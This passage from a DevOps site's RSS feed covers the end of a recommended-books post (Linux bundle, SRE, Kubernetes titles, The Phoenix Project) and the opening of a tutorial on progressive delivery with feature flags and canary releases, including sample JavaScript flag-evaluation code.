          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Author:</strong> Bobby Iliev<br><strong>Best for:</strong> Beginners who want a clear path from Linux basics to infrastructure management</p>
<p><img src="/images/posts/books/linux-devops-bundle.png" alt="Linux DevOps eBook Bundle"></p>
<p>If you&#39;re starting your DevOps journey, the biggest hurdle is knowing where to begin. This bundle solves that by walking you through Linux fundamentals, Bash scripting, Git, and Terraform in a logical sequence. Each book builds on the previous one.</p>
<p>What makes this different from random blog posts and YouTube tutorials: it&#39;s structured as a learning path. You start with basic Linux commands, move into shell scripting, learn version control with Git, and then graduate to infrastructure as code with Terraform. No jumping between unrelated topics.</p>
<p>The pay-what-you-want pricing means there&#39;s zero risk in picking it up. Even if you&#39;ve been working with Linux for a while, the Terraform sections are worth it on their own.</p>
<p><strong><a href="https://leanpub.com/b/linux-devops-ebook-bundle">Get the Linux DevOps eBook Bundle on Leanpub</a></strong></p>
<p><strong>Want to practice your Linux skills?</strong> Try our <a href="/exercises/cloud-server-setup">Linux Server Setup exercises</a> or test yourself with the <a href="/quizzes/linux-quiz">Linux quiz</a>.</p>
<h2 id="h2-2-site-reliability-engineering" class="group relative scroll-mt-24">
        <a href="#h2-2-site-reliability-engineering" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Site Reliability Engineering
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-2-site-reliability-engineering"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Authors:</strong> Betsy Beyer, Chris Jones, Jennifer Petoff, Niall Murphy (Google)<br><strong>Best for:</strong> Anyone who wants to understand how large-scale systems actually stay running</p>
<p><img src="/images/posts/books/sre-book.jpg" alt="Site Reliability Engineering"></p>
<p>This is the book that defined SRE as a discipline. Google released it for free, and it&#39;s still the most referenced book in production engineering conversations.</p>
<p>The key ideas that stick with you: error budgets (you get a &quot;budget&quot; of acceptable failures, and you spend it on shipping faster), SLOs as the foundation of reliability (not uptime percentages but actual user-facing indicators), and the concept that operations is a software engineering problem.</p>
<p>Skip the chapters about Google-specific tooling unless you&#39;re curious. Focus on chapters 1-6 for the philosophy, then jump to the chapters on monitoring, alerting, and incident management. Those apply to every team, regardless of scale.</p>
<p>It&#39;s dense. Don&#39;t try to read it cover to cover. Treat it as a reference you come back to when you&#39;re building something specific.</p>
<p><strong><a href="https://sre.google/books/sre-book/">Read SRE for free on Google&#39;s site</a></strong></p>
<p><strong>Want to test your SRE knowledge?</strong> Take our <a href="/quizzes/sre-quiz">SRE quiz</a> or study with the <a href="/flashcards/slos-slis-error-budgets">SLOs and Error Budgets flashcards</a>.</p>
<h2 id="h2-3-kubernetes-in-action" class="group relative scroll-mt-24">
        <a href="#h2-3-kubernetes-in-action" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Kubernetes in Action
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-3-kubernetes-in-action"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Author:</strong> Marko Luksa<br><strong>Best for:</strong> Engineers who need to actually understand Kubernetes, not just copy-paste YAML</p>
<p><img src="/images/posts/books/k8s-in-action.jpg" alt="Kubernetes in Action"></p>
<p>There are dozens of Kubernetes books, but this one stands out because it explains the &quot;why&quot; behind every concept. You don&#39;t just learn that a Pod is a group of containers. You understand why Kubernetes uses Pods instead of running containers directly, and what that design decision means for your applications.</p>
<p>The book starts with containers and builds up through Pods, Services, Deployments, StatefulSets, and custom resources. Each chapter includes hands-on examples you run on a real cluster. By the end, you understand the Kubernetes API well enough to debug problems without Googling every error message.</p>
<p>The second edition covers the latest Kubernetes features, but even the first edition is solid on core concepts. If you&#39;re working with Kubernetes in any capacity, this book pays for itself the first time you debug a networking issue without spending three hours on Stack Overflow.</p>
<p><strong><a href="https://amzn.to/3OsD7XM">Get Kubernetes in Action on Amazon</a></strong></p>
<p><strong>Practice what you learn:</strong> Try our <a href="/quizzes/kubernetes-quiz">Kubernetes quiz</a> or brush up with the <a href="/flashcards/kubernetes-basics">Kubernetes flashcards</a>.</p>
<h2 id="h2-4-the-phoenix-project" class="group relative scroll-mt-24">
        <a href="#h2-4-the-phoenix-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. The Phoenix Project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-4-the-phoenix-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Authors:</strong> Gene Kim, Kevin Behr, George Spafford<br><strong>Best for:</strong> Understanding why DevOps matters as a culture shift, not just a set of tools</p>
<p><img src="/images/posts/books/phoenix-project.jpg" alt="The Phoenix Project"></p>
<p>This is a novel, not a textbook. You follow Bill Palmer, an IT manager at a company called Parts Unlimited, as everything falls apart and he has to figure out how to fix it. Along the way, you see the principles behind DevOps play out in a real (fictional) organization.</p>
<p>The book makes abstract concepts click. Flow, feedback loops, continuous learning - these ideas sound vague in a conference talk but make complete sense when you watch a character struggle with a deployment pipeline that takes three weeks.</p>
<p>Read it when you&#39;re frustrated with your organization. It&#39;s a reminder that the problems you&#39;re facing aren&#39;t unique, and there&#39;s a well-documented path through them. It&#39;s also useful ammunition when you need to explain to non-technical stakeholders why DevOps practices matter.</p>
<p>If you enjoy it, follow up with &quot;The Unicorn Project&quot; (same story from a developer&#39;s perspective) and &quot;The DevOps Handbook&quot; (the practical companion).</p>
<p><strong><a href="https://amzn.to/4tnqnBZ">Get The Phoenix Project on Amazon</a></strong></p>
<h2 id="h2-5-cloud-native-devops-with-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-5-cloud-native-devops-with-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Cloud Native DevOps with Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-5-cloud-native-devops-with-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Authors:</strong> John Arundel, Justin Domingus<br><strong>Best for:</strong> Engineers moving from &quot;I know Kubernetes basics&quot; to &quot;I need to run this in production&quot;</p>
<p>This is the book you read after Kubernetes in Action. It covers the gap between knowing how to write a Deployment manifest and actually running a production system: secrets management, CI/CD integration, observability, security policies, and cost optimization.</p>
<p>The authors take a practical approach. Every recommendation comes with working code and real configuration files. The chapters on monitoring with Prometheus and logging with Fluentd are particularly good because they show complete setups, not just snippets.</p>
<p>What I appreciate most: they&#39;re opinionated. Instead of listing five ways to handle secrets and leaving you to figure out which one to use, they tell you which approach works best and why. That saves you from the &quot;analysis paralysis&quot; that hits every team building their first production Kubernetes platform.</p>
<p><strong><a href="https://amzn.to/4knzI8P">Get Cloud Native DevOps with Kubernetes on Amazon</a></strong></p>
<p><strong>Keep learning:</strong> Explore our <a href="/exercises/kubernetes-hpa-lab">Kubernetes exercises</a>, <a href="/interview-questions">interview questions</a>, and <a href="/games">games</a> for more hands-on practice.</p>
<h2 id="h2-what-to-read-first" class="group relative scroll-mt-24">
        <a href="#h2-what-to-read-first" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Read First
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-read-first"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;re new to DevOps, start with the <strong>Linux DevOps eBook Bundle</strong> and <strong>The Phoenix Project</strong>. One gives you the technical foundation, the other gives you the cultural context.</p>
<p>If you&#39;re already working in DevOps and want to level up, go with <strong>Site Reliability Engineering</strong> and <strong>Kubernetes in Action</strong>.</p>
<p>If you&#39;re building production systems today, <strong>Cloud Native DevOps with Kubernetes</strong> is the most immediately useful.</p>
<p>For the complete collection of recommended DevOps reading, check out our <a href="/books">DevOps Books page</a> where we maintain a curated list across all categories.</p>
<p><em>Disclosure: Some links in this post are affiliate links. We may earn a commission at no extra cost to you. This helps support DevOps Daily and keep our content free.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to Implement Progressive Delivery with Feature Flags]]></title>
      <link>https://devops-daily.com/posts/how-to-implement-progressive-delivery-with-feature-flags</link>
      <description><![CDATA[Learn how to implement progressive delivery using feature flags, canary releases, and gradual rollouts to ship changes safely in production without risking your entire user base.]]></description>
      <pubDate>Mon, 23 Mar 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/how-to-implement-progressive-delivery-with-feature-flags</guid>
      <category><![CDATA[CI/CD]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[feature-flags]]></category><category><![CDATA[progressive-delivery]]></category><category><![CDATA[cicd]]></category><category><![CDATA[canary-releases]]></category><category><![CDATA[deployment-strategies]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>Deploying code to production does not have to be an all-or-nothing event. Traditional deployment strategies push changes to every user at once, which means a single bug can bring down your entire application. Progressive delivery changes that equation by decoupling <strong>deployment</strong> (putting code on servers) from <strong>release</strong> (exposing features to users). At the heart of this approach are <strong>feature flags</strong>, which give you fine-grained control over who sees what and when.</p>
<p>In this guide, you will learn how to implement progressive delivery using feature flags, canary releases, and percentage-based rollouts. By the end, you will have a working strategy for shipping changes to production safely and confidently.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Progressive delivery separates deployment from release, letting you control feature exposure independently</li>
<li>Feature flags act as runtime switches that determine which users see new functionality</li>
<li>Canary releases expose changes to a small subset of users before a full rollout</li>
<li>Percentage-based rollouts let you gradually increase traffic to a new feature</li>
<li>Combine feature flags with observability to detect issues early and roll back instantly</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Familiarity with CI/CD pipelines and deployment processes</li>
<li>Basic understanding of application configuration and environment variables</li>
<li>A running application with a deployment pipeline (examples use Node.js and Kubernetes)</li>
<li>Access to a feature flag service (we will cover both self-hosted and managed options)</li>
</ul>
<h2 id="h2-what-is-progressive-delivery" class="group relative scroll-mt-24">
        <a href="#h2-what-is-progressive-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Is Progressive Delivery?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-is-progressive-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Progressive delivery is an evolution of continuous delivery that gives teams control over how changes reach users. Instead of flipping a switch and hoping for the best, you roll out features gradually while monitoring key metrics at every step.</p>
<p>The core idea looks like this:</p>
<pre><code class="hljs language-text">Traditional Deployment:
  Deploy ──► 100% of users get the change immediately

Progressive Delivery:
  Deploy ──► 1% canary ──► 10% rollout ──► 50% rollout ──► 100% GA
                │              │                │
                ▼              ▼                ▼
           Monitor &amp;      Monitor &amp;        Monitor &amp;
           Validate       Validate         Validate
</code></pre><p>Progressive delivery builds on three key concepts:</p>
<ul>
<li><strong>Feature flags</strong>: Runtime toggles that control feature visibility without redeployment</li>
<li><strong>Canary releases</strong>: Routing a small percentage of traffic to the new version</li>
<li><strong>Gradual rollouts</strong>: Incrementally increasing the percentage of users who see the change</li>
</ul>
<h2 id="h2-setting-up-feature-flags" class="group relative scroll-mt-24">
        <a href="#h2-setting-up-feature-flags" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setting Up Feature Flags
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-setting-up-feature-flags"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Feature flags can range from simple environment variables to sophisticated evaluation engines. Let&#39;s start with a basic implementation and work up to production-grade solutions.</p>
<h3 id="h3-a-simple-feature-flag-implementation" class="group relative scroll-mt-24">
        <a href="#h3-a-simple-feature-flag-implementation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Simple Feature Flag Implementation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-simple-feature-flag-implementation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At its simplest, a feature flag is a conditional check:</p>
<pre><code class="hljs language-javascript"><span class="hljs-comment">// config/flags.js</span>
<span class="hljs-keyword">const</span> flags = {
  <span class="hljs-attr">newCheckoutFlow</span>: {
    <span class="hljs-attr">enabled</span>: <span class="hljs-literal">false</span>,
    <span class="hljs-attr">rolloutPercentage</span>: <span class="hljs-number">0</span>,
    <span class="hljs-attr">allowedUsers</span>: [],
  },
  <span class="hljs-attr">improvedSearch</span>: {
    <span class="hljs-attr">enabled</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-attr">rolloutPercentage</span>: <span class="hljs-number">25</span>,
    <span class="hljs-attr">allowedUsers</span>: [<span class="hljs-string">&#x27;beta-testers&#x27;</span>],
  },
};

<span class="hljs-keyword">function</span> <span class="hljs-title function_">isFeatureEnabled</span>(<span class="hljs-params">flagName, userId</span>) {
  <span class="hljs-keyword">const</span> flag = flags[flagName];
  <span class="hljs-keyword">if</span> (!flag || !flag.<span class="hljs-property">enabled</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

  <span class="hljs-comment">// Check if user is in the allowed list</span>
  <span class="hljs-keyword">if</span> (flag.<span class="hljs-property">allowedUsers</span>.<span class="hljs-title function_">includes</span>(userId)) <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;

  <span class="hljs-comment">// Percentage-based rollout using consistent hashing</span>
  <span class="hljs-keyword">const</span> hash = <span class="hljs-title function_">simpleHash</span>(<span class="hljs-string">`<span class="hljs-subst">${flagName}</span>-<span class="hljs-subst">${userId}</span>`</span>);
  <span class="hljs-keyword">return</span> (hash % <span class="hljs-number">100</span>) &lt; flag.<span class="hljs-property">rolloutPercentage</span>;
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">simpleHash</span>(<span class="hljs-params">str</span>) {
  <span class="hljs-keyword">let</span> hash = <span class="hljs-number">0</span>;
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; str.<span class="hljs-property">length</span>; i++) {
    <span class="hljs-keyword">const</span> char = str.<span class="hljs-title function_">charCodeAt</span>(i);
    hash = ((hash &lt;&lt; <span class="hljs-number">5</span>) - hash) + char;
    hash = hash &amp; hash; <span class="hljs-comment">// Convert to 32-bit integer</span>
  }
  <span class="hljs-keyword">return</span> <span class="hljs-title class_">Math</span>.<span class="hljs-title function_">abs</span>(hash);
}

<span class="hljs-variable language_">module</span>.<span class="hljs-property">exports</span> = { isFeatureEnabled };
</code></pre><p>The consistent hashing approach is important here. It ensures that a given user always gets the same result for a specific flag, so they do not bounce between the old and new experiences on every request.</p>
<h3 id="h3-using-feature-flags-in-application-code" class="group relative scroll-mt-24">
        <a href="#h3-using-feature-flags-in-application-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Using Feature Flags in Application Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-using-feature-flags-in-application-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Once you have the evaluation logic, wrap your features:</p>
<pre><code class="hljs language-javascript"><span class="hljs-keyword">const</span> { isFeatureEnabled } = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;./config/flags&#x27;</span>);

app.<span class="hljs-title function_">get</span>(<span class="hljs-string">&#x27;/checkout&#x27;</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> userId = req.<span class="hljs-property">user</span>.<span class="hljs-property">id</span>;

  <span class="hljs-keyword">if</span> (<span class="hljs-title function_">isFeatureEnabled</span>(<span class="hljs-string">&#x27;newCheckoutFlow&#x27;</span>, userId)) {
    <span class="hljs-comment">// New checkout experience</span>
    <span class="hljs-keyword">return</span> res.<span class="hljs-title function_">render</span>(<span class="hljs-string">&#x27;checkout-v2&#x27;</span>, {
      <span class="hljs-attr">steps</span>: <span class="hljs-title function_">getStreamlinedSteps</span>(),
      <span class="hljs-attr">paymentMethods</span>: <span class="hljs-title function_">getExpandedPaymentMethods</span>(),
    });
  }

  <span class="hljs-comment">// Existing checkout experience</span>
  <span class="hljs-keyword">return</span> res.<span class="hljs-title function_">render</span>(<span class="hljs-string">&#x27;checkout&#x27;</span>, {
    <span class="hljs-attr">steps</span>: <span class="hljs-title function_">getStandardSteps</span>(),
    <span class="hljs-attr">paymentMethods</span>: <span class="hljs-title function_">getStandardPaymentMethods</span>(),
  });
});
</code></pre><h3 id="h3-production-grade-feature-flag-services" class="group relative scroll-mt-24">
        <a href="#h3-production-grade-feature-flag-services" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Production-Grade Feature Flag Services
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-production-grade-feature-flag-services"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For production workloads, you will want a dedicated feature flag service rather than hardcoded configuration. Several options exist:</p>
<table>
<thead>
<tr>
<th>Service</th>
<th>Type</th>
<th>Best For</th>
</tr>
</thead>
<tbody><tr>
<td>LaunchDarkly</td>
<td>Managed SaaS</td>
<td>Enterprise teams needing advanced targeting</td>
</tr>
<tr>
<td>Unleash</td>
<td>Self-hosted (OSS)</td>
<td>Teams wanting full control over their data</td>
</tr>
<tr>
<td>Flagsmith</td>
<td>Both</td>
<td>Flexible deployment with open-source core</td>
</tr>
<tr>
<td>OpenFeature</td>
<td>SDK Standard</td>
<td>Vendor-neutral feature flag abstraction</td>
</tr>
</tbody></table>
<p>Here is an example using <strong>OpenFeature</strong> with the Flagsmith provider, which gives you vendor independence:</p>
<pre><code class="hljs language-javascript"><span class="hljs-keyword">const</span> { <span class="hljs-title class_">OpenFeature</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;@openfeature/server-sdk&#x27;</span>);
<span class="hljs-keyword">const</span> { <span class="hljs-title class_">FlagsmithProvider</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;@openfeature/flagsmith-provider&#x27;</span>);

<span class="hljs-comment">// Initialize with your provider of choice</span>
<span class="hljs-keyword">await</span> <span class="hljs-title class_">OpenFeature</span>.<span class="hljs-title function_">setProviderAndWait</span>(
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">FlagsmithProvider</span>({ <span class="hljs-attr">environmentKey</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">FLAGSMITH_KEY</span> })
);

<span class="hljs-keyword">const</span> client = <span class="hljs-title class_">OpenFeature</span>.<span class="hljs-title function_">getClient</span>();

app.<span class="hljs-title function_">get</span>(<span class="hljs-string">&#x27;/search&#x27;</span>, <span class="hljs-title function_">async</span> (req, res) =&gt; {
  <span class="hljs-comment">// Evaluate flag with user context</span>
  <span class="hljs-keyword">const</span> useNewSearch = <span class="hljs-keyword">await</span> client.<span class="hljs-title function_">getBooleanValue</span>(
    <span class="hljs-string">&#x27;improved-search&#x27;</span>,
    <span class="hljs-literal">false</span>, <span class="hljs-comment">// default value</span>
    { <span class="hljs-attr">targetingKey</span>: req.<span class="hljs-property">user</span>.<span class="hljs-property">id</span>, <span class="hljs-attr">region</span>: req.<span class="hljs-property">user</span>.<span class="hljs-property">region</span> }
  );

  <span class="hljs-keyword">if</span> (useNewSearch) {
    <span class="hljs-keyword">return</span> <span class="hljs-title function_">handleImprovedSearch</span>(req, res);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-title function_">handleStandardSearch</span>(req, res);
});
</code></pre><h2 id="h2-implementing-canary-releases" class="group relative scroll-mt-24">
        <a href="#h2-implementing-canary-releases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Implementing Canary Releases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-implementing-canary-releases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Canary releases route a small percentage of production traffic to the new version of your service. This is different from feature flags in that it operates at the <strong>infrastructure level</strong> rather than the application level.</p>
<h3 id="h3-canary-releases-with-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-canary-releases-with-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Canary Releases with Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canary-releases-with-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
